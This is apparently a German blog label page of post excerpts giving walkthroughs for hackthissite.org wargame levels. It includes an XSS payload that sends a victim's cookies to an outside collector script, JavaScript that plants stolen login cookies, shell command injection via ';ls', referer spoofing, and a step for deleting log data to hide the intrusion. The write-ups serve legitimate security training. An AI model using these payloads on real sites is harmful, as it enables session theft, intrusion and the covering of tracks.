Direkt zum Hauptbereich

Posts

Posts mit dem Label "HTS" werden angezeigt.

HTS realistic 9, the Codes for the Challenge!

Here are the javascript codes for HTS Level 9: 1. code, take a look at the cookie: javascript:alert(document.cookie); 2. The xss exploit insert into the message to mr. crap: </textarea> <script>window.location="http://getTheScript/getcookiemailer.php?keks="+document.cookie;</script> 3. The code to use the stolen cookie data: javascript:document.cookie="strUsername=m-crap%40crappysoft.com";document.cookie="strPassword=94a35a3b7befff5eb2a8415af04aa16c";document.cookie="intID=1"; Now you can move the money!! 4. Deleting the session data. Log out and go to the main page of crappy soft. Go to the mailing list form. Now you need an Firefox extension like UrlParams or an Proxy with freeze function. Or you manipulate the Post data with an faked http header. How to fake http header with PHP you can take a look at this page: http://hack1n9.blogspot.com/2008/06/hackthissiteorg-level-5-basic-lsung.html But it is written in german. The faste...

Hachthissite realistic level 9 tutorial

So hier sind mal zwei Videos für hackthissite.org realistic level 9. Im ersten Video wird das xss durchgeführt um das cookie zu kopieren, dann die identität getausch, gehalt überwiesen und im zweiten Video wird das logfile gelöscht. Für realistic 1-8 gibts schon videos auf youtube. Sollte ich mich täuschen dann melden kann natürlich nachgereicht werden. In der Textbox, stehen alle code Schnipsel welche bentigt werden um das Video nachzuvollziehen. javascript:alert(document.cookie);

hackthissite.org Level 10 Basic Lösung

m Level 10 wird es etwas tricky. Hier bekommst du nur den wink dass du dir das cookie und die Seiteninfos anschauen sollst. Also machen wir dass doch mal. Und bei den cookies wirs du mit Sicherheit fündig dort gibt es den Eintrag: level10_authorized = no. Also wir müssen nur diesen Wert auf yes setzen und die Seite erneut aufrufen damit wir dieses Level geknackt haben. Am einfachsten änderst du dass cookie in dem du in der URL deines Browsers folgendes eingibst. Also wichtig ist, die adresse von hackthissite.org solltest du kurz entfernen aber noch auf der Seite bleiben und folgendes eingeben: javascript:document.cookie="level10_authorized=yes";alert("OK"); So nun führst du auf der Seite vom level10 Java Script Code aus. In unserem falle wird jetzt dass cookie mit dem Wert yes gesetzt damit man dieses level abgeschlossen hat! Es gibt noch ne Möglichkeit via http header aber die finde ich zu unständlich dieses schnelle javascript ist einfacher ;-)

hackthissite.org Level 9 Basic Lösung

Hier wurde das Passwort wieder mal in einer Datei welches im Verzeichniss /var/www/hackthissite.org/html/missions/basic/9/ liegt abgespeichert. Doch wie listen wir dieses Verzeichniss?? Eine Idee?? Genau. Zurück zu level 8!! Und in das Feld für den Namen diese Zeile eingeben: Schwupps hast du den Inhalt des Verzeichnisses vor dir. Hi, index.php p91e283zc3.php! Your name contains 24 characters. So und nun sich die Datei p91e283zc3.php anzeigen lassen und du hast das Passwort.

hackthissite.org Level 8 Basic Lösung

Hier ist ein eingabeformular in welches du deinen Namen schreiben sollst damit es eine Datei anlegen kann. Zum besseren Verständniss einfach mal testen, also "Mustermann" und auf submit klicken. Nun erscheint der Text: Your file has been saved. Please click here view the file. Hier ist die URL der Datei, welche angelegt wurde: http://www.hackthissite.org/missions/basic/8/tmp/mnxdljrz.shtml Genau, es ist eine shtml Datei also ein Server Side Include (SSI) damit kann man Befehle auf dem Server ausführen lassen und das ergebniss wird dann dem client übergeben! Hier musst du aber das Verzeichniss auslesen damit wir informationen über den Inhalt bekommen. Geb nun einfach mal folgendes in das Feld für den Namen ein: Richtig, ls bei unix/linux "list directory" zeigt den Inhalt eines Verzeichnisses an. Das neu hinzugefügte hier ist "ls ../" ../ heißt ein Verzeichniss nach oben. Also nicht in http://www.hackthissite.org/missions/basic/...

hackthissite.org Level 7 Basic Lösung

Hier siehst du ein Eingabefeld in welches du ein Datum eingeben kannst. Und dieses zeigt die Dazu den Kalender an. Zum Beispiel : 2008 Jetzt siehst du alle Monate von 2008 als Kalenderblätter dargestellt. Dies ist nicht besonders wichtig. Gut zu wissen ist dass dies die Ausgabe des Unix Commandos "cal " ist. Unter Unix kann man mit ";" eine Zeile in der Shell beenden und einen neuen Befehl eingeben. Wir wollen das Verzeichniss listen, also "ls" list directory. Die Eingabe lautet also " ;ls " so nun auf view klicken und du bekommst folgende Ausgabe: . .. level7.php cal.pl .htaccess k1kh31b1n55h.php index.php Dies ist der Inhalt des Ordners. Die Kryptische Datei an die Url anhängen, also diese: k1kh31b1n55h.php. In der Url sollte stehen http://www.hackthissite.org/missions/basic/7/k1kh31b1n55h.php Enter und du siehst dass Passwort. Wieder zurück zum login, eingeben un...

hackthissite.org Level 6 Basic Lösung

Im Level 6 geht es um eine kleine Decheffrierung. Also du siehst hier ein Verschlüsseltes Passwort und sollt dieses Entschlüsseln damit du es eingeben kannst und somit einen level weiter kommst. Du hast hier eine Hilfe, denn du kannst mit dem oberen Formular selbst daten verschlüsseln. Somit kannst du ein Muster erkennen wenn du zum Beispiel hallo oder auch tasse verschlüsseln lässt. Wenn du nun ollah oder essat verschlüsseln lässt dann fällt etwas auf oder?? Die Erklärung: hallo wird zu hbnos tasse wird zu tbuvi essat wird zu etudx Die cheffrierung funktioniert folgend: Du solltest zum verständniss eine ASCII Tabelle heranziehen! Formel: Verschlüsseltes Zeichen = (Position in String) + (Aktuelles Zeichen, ASCII Code) Somit ist auch klar warum das erste Zeichen sich nie verändert. Da es mit 0 anfängt zu Zählen. h = 0 ( +0) Bleibt gleich. a = 1 ( +1) l = 2 ( +2) l = 3 ( +3) 0 = 4 ( +4) Hier die Decheffrierung des Verschlüsselten Textes: ...

hackthissite.org Level 5 Basic Lösung

Level 5 ist fast gleich wie der Level 4 nur mit dem kleinen Unterschied dass das Skript auf dem Server nun auch schaut woher die Anfrage kommt. Es überprüft also die Referer Url. Damit wir dies umgehen können wird das Skript aus 4 nur Modifiziert. Der HTTP Anfrage wird folgende Zeile hinzugefügt: Referer:http://www.hackthissite.org/missions/basic/5/index.php\r\n So und schon ist auch dass Problem behoben! Das Skript level5.php gibts auch zum Download.

hackthissite.org Level 4 Basic Lösung

So nun wird es etwas umständlicher. Hier gibt es einen Button mit dem man sich dass Passwort zusenden lassen kann falls man es vergessen hat. So nu den Quelltext öffnen. Die Zeilen 98,99 Wie man hier sieht wird das ganze an eine email Adresse versendet, welche über einen Post Parameter übergeben wird. Hier im Spiel wird keine Email versendet, sondern wenn die Post anfrage eine Andere Email Adresse als diese enthält dann zeigt dass Skript dass Passwort an. Ich habe mich für die Lösung mittels PHP Skript entschieden, da dies sehr komfortabel ist. Das Listing level4.php kann man downloaden . Ich erläutere mal das vorgehen dieses Sriptes: Mittels fsockopen stelle ich zuerst eine Verbindung zum host her, In unserem Fall jetzt: $host = "hackthissite.org"; Wenn dies klappt dann fordere ich die folgende Seite an: $page = "missions/basic/4/level4.php"; Damit ich jetzt auch dass Passwort angezeigt bekomme muss ich noch einen Wert...